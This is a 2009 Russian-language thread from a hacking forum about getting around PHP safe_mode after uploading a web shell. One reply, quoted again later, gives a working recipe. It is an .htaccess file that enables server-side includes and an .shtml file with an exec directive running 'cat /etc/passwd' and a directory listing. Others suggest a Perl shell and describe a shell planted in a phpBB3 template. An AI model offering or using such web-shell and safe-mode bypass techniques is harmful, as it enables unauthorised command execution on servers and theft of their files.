HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Safe mode = on
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Safe mode = on
  #1  
Старый 03.10.2009, 23:49
imgreen
Новичок
Регистрация: 15.11.2008
Сообщений: 22
С нами: 9203202

Репутация: 6
По умолчанию Safe mode = on
Можно что-то сделать в данной ситуации? Я правильно понимаю, что в таком случае от шелла нет толку?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 04.10.2009, 00:01
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
С нами: 9796693

Репутация: 659


По умолчанию
А что тебе надо от шелла? Команды ОС можно запускать из-под SSI например

.htaccess
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

shell.shtml
<pre>
<!--#exec cmd="cat /etc/passwd;ls -lia"-->
 
Ответить с цитированием

  #3  
Старый 04.10.2009, 00:03
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию
Версия пыха какая? доступ к CGI \ SSI \ и тп есть?
 
Ответить с цитированием

  #4  
Старый 04.10.2009, 00:18
imgreen
Новичок
Регистрация: 15.11.2008
Сообщений: 22
С нами: 9203202

Репутация: 6
По умолчанию
Цитата:
Команды ОС можно запускать из-под SSI например

.htaccess
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

shell.shtml
<pre>
<!--#exec cmd="cat /etc/passwd;ls -lia"-->
спасибо за информацию

Цитата:
А что тебе надо от шелла?
просмотр каталогов, редактирование файлов


Цитата:
Версия пыха какая? доступ к CGI \ SSI \ и тп есть?
Эмм, я вообще не про конкретный случай, а в общем случае... Но вообще вопрос возник в результате эксперимента на своем сервере. Шелл залил, а сделать как бы ничего и нельзя. PHP 5.2.6, c CGI и SSI дела не имел, даже не знаю как проверить доступ.
Последний раз редактировалось imgreen; 04.10.2009 в 00:25..
 
Ответить с цитированием

  #5  
Старый 04.10.2009, 05:30
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию
Perl шелл как вариант...
 
Ответить с цитированием

  #6  
Старый 04.10.2009, 11:58
InFlame
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
С нами: 9230381

Репутация: 90
По умолчанию
http://forum.antichat.ru/thread46034-safe+mode.html
 
Ответить с цитированием

  #7  
Старый 04.10.2009, 18:06
imgreen
Новичок
Регистрация: 15.11.2008
Сообщений: 22
С нами: 9203202

Репутация: 6
По умолчанию
большое спасибо
 
Ответить с цитированием

  #8  
Старый 05.10.2009, 15:16
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
С нами: 9328846

Репутация: 270
По умолчанию
в догонку,был шел в шаблоне пхпбб3,при Safe mode = on,версию пхп уже не помню,но когда я создавал шеллом файл(другой шелл) ,и при обращении с браузера было "access denied ", это уже тупик или можно что то сделать?
юзер апач,и права на создынный шелл были не ниже 644
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
как отключить safe mode? ser_cher PHP 7 13.07.2009 16:16
Проблема с Ipb 2.1.6 Safe Mode GrAmOzEkA Уязвимости CMS / форумов 5 30.01.2007 00:02
Обход Safe Mode прл взломе Invision Power board 1ten0.0net1 Уязвимости CMS / форумов 4 22.12.2006 16:34
set_time_limit в safe mode TANZWUT Уязвимости 2 28.01.2006 11:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.